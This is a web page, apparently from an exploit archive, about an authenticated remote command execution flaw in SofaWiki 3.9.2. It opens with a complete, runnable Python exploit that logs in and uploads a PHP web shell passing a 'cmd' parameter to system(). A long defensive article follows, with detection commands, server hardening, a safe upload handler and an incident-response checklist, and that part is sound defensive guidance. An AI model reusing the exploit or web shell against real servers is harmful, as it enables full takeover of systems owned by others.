SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated)
# Exploit Title: SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 18.04.2024
# Vendor Homepage: https://www.sofawiki.com
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
# Tested Version: v3.9.2 (latest)
# Tested on: MacOS
import requests
import random
import sys
import time
def main():
if len(sys.argv) < 4:
print("Usage: python exploit.py <base_url> <username> <password>")
sys.exit(1)
base_url, username, password = sys.argv[1:4]
filename = f"{random.randint(10000, 99999)}.phtml"
session = requests.Session()
login_url = f"{base_url}/index.php"
login_data = {
"submitlogin": "Login",
"username": username,
"pass": password,
"name": "SofaWiki",
"action": "login"
}
print("Exploiting...")
time.sleep(1)
response = session.post(login_url, data=login_data)
if "Logout" not in response.text:
print("Login failed:", response.text)
sys.exit()
print("Login Successful")
time.sleep(1)
php_shell_code = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
"""
print("Shell uploading...")
time.sleep(1)
upload_url = f"{base_url}/index.php"
files = {
"uploadedfile": (filename, php_shell_code, "text/php"),
"action": (None, "uploadfile"),
"MAX_FILE_SIZE": (None, "8000000"),
"filename": (None, filename),
"content": (None, "content")
}
response = session.post(upload_url, files=files)
if response.status_code == 200:
print(f"Your shell is ready: {base_url}/site/files/{filename}")
else:
print("Upload failed:", response.text)
if __name__ == "__main__":
main() SofaWiki 3.9.2 — Authenticated Remote Command Execution (RCE): Analysis, Impact, and Mitigation
This article analyzes the authenticated remote command execution (RCE) issue reported for SofaWiki v3.9.2, describes the underlying cause in high-level terms, and provides concrete defensive guidance for administrators, developers, and incident responders. It focuses on defensive controls, safe detection, and secure coding practices rather than detailed offensive procedures.
Executive summary
- Vulnerability type: Authenticated file upload leading to remote code execution.
- Root cause: Insufficient validation/sanitization of uploaded files and execution of user-supplied code from a web-accessible directory.
- Impact: Complete server compromise when exploited by an authenticated user with uploading privileges.
- Discovery: Reported by a researcher on 2024-04-18 (disclosure details should be confirmed with vendor advisories).
- Primary mitigations: Patch SofaWiki, restrict upload processing, disable execution under upload paths, validate file contents, and apply least privilege.
How this class of vulnerability works (high-level)
Authenticated RCE via file upload typically follows a pattern:
- An authenticated user can upload files to the application.
- The application accepts files with unsafe extensions (for example, server-interpreted extensions) or fails to enforce content validation.
- The uploaded file is written to a web-accessible directory where the application server may execute it (for example, interpreted by PHP, JSP, ASP.NET, etc.).
- An attacker uploads a file containing server-side code, then requests the file via HTTP to trigger execution, achieving remote code execution.
In the SofaWiki case, the core issue is an upload-and-execute chain for authenticated users combined with insufficient server-side restrictions on the upload destination and file types.
Why this is dangerous
- Authenticated users are often numerous (any registered user may be able to exploit), expanding the attacker surface.
- RCE allows an attacker to run arbitrary commands with the privileges of the web process, potentially pivoting to full host compromise.
- Remediation after compromise becomes more complex because attackers may implant persistent backdoors and remove traces.
Detection and forensic indicators
Focus on both file-system and web-access logs. Common indicators include:
- New or unexpected files appearing under upload or files directories (suspicious extensions such as .php, .phtml, .jsp, .aspx, or double extensions like name.jpg.php).
- HTTP GET/POST requests to uploaded files immediately following an upload event.
- Unusual user accounts performing uploads or sudden privilege escalation events.
- Outbound network connections initiated by the webserver process, especially to unfamiliar hosts/ports.
Example defensive queries (for incident responders):
# Find potentially executable files in web upload directory (Linux)
find /var/www/html/site/files -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.jsp" -o -iname "*.aspx" \) -ls
Explanation: This command locates files in the upload directory whose extensions indicate server-side code. It's intended for defenders investigating a possible compromise; do not use it to attempt exploitation.
# Search web logs for requests to files under the upload path (example using Apache logs)
grep -E "/site/files/.*\.(php|phtml|jsp|aspx)" /var/log/apache2/access.log
Explanation: This extracts requests that tried to access executable-looking files in the upload area, helping identify when and by which client such files were invoked.
Immediate mitigations for operators
- Patch first: Apply the official SofaWiki update or vendor-provided patch if available. Prioritize patching in production and staging.
- Disable uploads or restrict functionality: Temporarily disable file uploads or restrict upload capability to a very small set of trusted accounts until patched.
- Prevent execution in upload directories: Configure the webserver to treat the upload directory as non-executable:
- For Apache: place an .htaccess (or virtual host config) to disable PHP parsing for the upload path (e.g., remove php handler or add "php_admin_flag engine off").
- For Nginx: serve uploads as static content only and do not pass upload paths to FastCGI/PHP-FPM.
- Harden file handling: Allow only specific safe extensions (images, pdf), check MIME types and file signatures (magic numbers), sanitize file names, and rename files to server-generated random names.
- Move uploads out of web root: Store user uploads outside document root and serve them through a controlled download endpoint that enforces authorization and content-type headers.
- Audit logs and network egress: Review access logs, webserver error logs, and outbound connections. If compromise is suspected, isolate the host and perform a forensic image.
Secure file upload pattern (example)
Below is a defensive PHP example that demonstrates safe upload handling. This code intentionally avoids any operations that would execute uploaded content and implements several layers of validation.
<?php
// Defensive upload handler (illustrative)
// - Accepts an uploaded file from 'file' input
// - Validates MIME type via finfo
// - Checks file signature (magic bytes) for common image types
// - Stores the file outside web root with a server-generated name
$uploadDir = '/var/uploads/sofa_files/'; // directory outside web root
$allowedMime = [
'image/png' => "\x89PNG",
'image/jpeg' => "\xFF\xD8\xFF",
'application/pdf' => "%PDF"
];
if (!isset($_FILES['file'])) {
http_response_code(400);
echo 'No file uploaded';
exit;
}
$file = $_FILES['file'];
// Basic upload error check
if ($file['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
echo 'Upload error';
exit;
}
// Use finfo to determine MIME type
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);
if (!array_key_exists($mime, $allowedMime)) {
http_response_code(415);
echo 'Unsupported file type';
exit;
}
// Check magic bytes
$handle = fopen($file['tmp_name'], 'rb');
$magic = fread($handle, 8);
fclose($handle);
if (strpos($magic, $allowedMime[$mime]) !== 0) {
http_response_code(415);
echo 'File signature mismatch';
exit;
}
// Generate server-side filename and move file outside web root
$filename = bin2hex(random_bytes(16));
$ext = ($mime === 'image/png') ? '.png' : (($mime === 'image/jpeg') ? '.jpg' : '.pdf');
$dest = $uploadDir . $filename . $ext;
if (!move_uploaded_file($file['tmp_name'], $dest)) {
http_response_code(500);
echo 'Failed to store file';
exit;
}
// Optional: store metadata in DB and serve via authorized endpoint
echo 'Upload successful';
?>
Explanation: This code demonstrates multiple defensive controls: MIME detection using finfo (not trusting Content-Type header), magic-byte verification to guard against renamed executables, generation of a random server-side filename to avoid predictable names, and storage outside the web root to prevent direct HTTP execution. In production, further checks, logging, and rate limiting should be added.
Server configuration hardening
- Disable script execution under upload directories:
- Apache example: use "Require all denied" for problematic directories, remove PHP handlers, or set php_admin_flag engine Off.
- Nginx example: ensure upload directories are served as static files and not proxied to PHP-FPM; use "location /site/files/ { try_files $uri =404; }".
- Use strict file permissions: webserver should not run as root; uploaded files should be owned by a non-privileged user and given minimal permissions.
- Apply web application firewall (WAF) rules to detect and block suspicious file upload patterns and immediate post-upload access.
Testing and validation (safe approaches)
- Perform security testing only in staging or authorized environments. Do not attempt exploitation against production without approval.
- Use static code review and automated scanners to detect unsafe file handling and input validation deficiencies.
- Run dynamic application security tests (DAST) that are configured to avoid destructive actions; focus on identifying file upload weaknesses and executable extensions being accepted.
Incident response checklist
| Step | Action |
|---|---|
| Contain | Disable uploads, take compromised host offline or isolate network, rotate credentials. |
| Collect | Preserve logs, capture disk images, export webserver logs and database backups. |
| Analyze | Identify malicious files, timeline of upload and access, attacker commands and persistence mechanisms. |
| Eradicate | Remove backdoors, rebuild compromised hosts from known-good images, apply patches. |
| Recover | Restore services in a hardened configuration and monitor for reoccurrence. |
| Report | Notify stakeholders, regulatory bodies as required, and file disclosure to vendor/security community if applicable. |
Responsible disclosure and vendor coordination
If you are an administrator or researcher who discovers a similar vulnerability, follow responsible disclosure practices:
- Contact the vendor (SofaWiki) privately and provide a clear, reproducible report that includes affected versions and remediation suggestions.
- Allow the vendor reasonable time to fix the issue before public disclosure; coordinate on advisories and patches.
- When disclosing publicly, emphasize mitigation steps and avoid publishing working exploit code that would enable widespread abuse.
Conclusion and recommended next steps
- Immediately assess exposure: determine whether your SofaWiki instance allows authenticated uploads and whether the upload directory is web-executable.
- Apply vendor patches or implement the mitigations above: disable execution in upload directories, validate file uploads, and store files outside the web root.
- Harden monitoring and incident response capabilities to detect and respond to any signs of exploitation.
Implement these controls as part of a broader secure development lifecycle: secure coding, server configuration management, access controls, and continuous monitoring will reduce the likelihood and impact of similar vulnerabilities in the future.